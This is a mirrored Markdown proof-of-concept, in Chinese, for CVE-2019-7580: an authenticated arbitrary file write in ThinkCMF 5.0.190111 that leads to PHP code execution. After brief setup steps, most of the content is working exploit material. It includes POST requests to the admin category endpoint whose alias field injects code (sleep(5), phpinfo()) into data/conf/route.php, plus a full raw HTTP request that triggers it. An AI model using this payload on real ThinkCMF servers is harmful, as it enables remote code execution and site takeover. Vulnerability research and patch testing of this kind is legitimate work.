mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-11-07 11:44:47 +00:00
66 lines
1.5 KiB
Markdown
66 lines
1.5 KiB
Markdown
|
## CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行
|
|||
|
|
|
|||
|
|
# 0x00 环境搭建
|
|||
|
|
|
|||
|
|
首先去thinkcmf下载5.0的最新版
|
|||
|
|
https://github.com/thinkcmf/thinkcmf/archive/5.0.190111.zip
|
|||
|
|
切换到web根目录下，比如/var/www，然后新建一个目录：ThinkCMF-5.0.190111
|
|||
|
|
把除public目录外的文件都移动到ThinkCMF-5.0.190111下。然后修改index.php，将其中的
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
define('CMF_ROOT', __DIR__ . '/../');
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
修改为
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
define('CMF_ROOT', __DIR__ . '/ThinkCMF-5.0.190111/');
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
然后一步步完成安装。
|
|||
|
|
参考：https://blog.csdn.net/youaregoo/article/details/82219722
|
|||
|
|
|
|||
|
|
# 0x01 利用过程：
|
|||
|
|
|
|||
|
|
后台登录状态下，
|
|||
|
|
1、将payload插入数据库并读取然后写入data/conf/route.php文件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
POST /portal/admin_category/addpost.html
|
|||
|
|
parent_id=0&name=111&alias=a'=>array(%22%22)%2csleep(5)%2c'b
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
2、然后访问：
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
/portal/admin_category/index.html
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
触发
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
include data/conf/route.php
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
操作，执行payload。下图以执行sleep(5)作为演示。
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
## POC
|
|||
|
|
|
|||
|
|
```raw
|
|||
|
|
POST /portal/admin_category/addpost.html HTTP/1.1
|
|||
|
|
Host: 192.168.170.209
|
|||
|
|
Content-Length: 183
|
|||
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|||
|
|
Cookie: PHPSESSID=of2ar92rpeucrh4cg6s4t4dae6; admin_username=admin
|
|||
|
|
Connection: close
|
|||
|
|
|
|||
|
|
parent_id=0&name=111&alias=1'%3D%3Earray(%22%22)%2Cphpinfo()%2C'2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 测试demo
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
> 来源： https://xz.aliyun.com/t/3997
|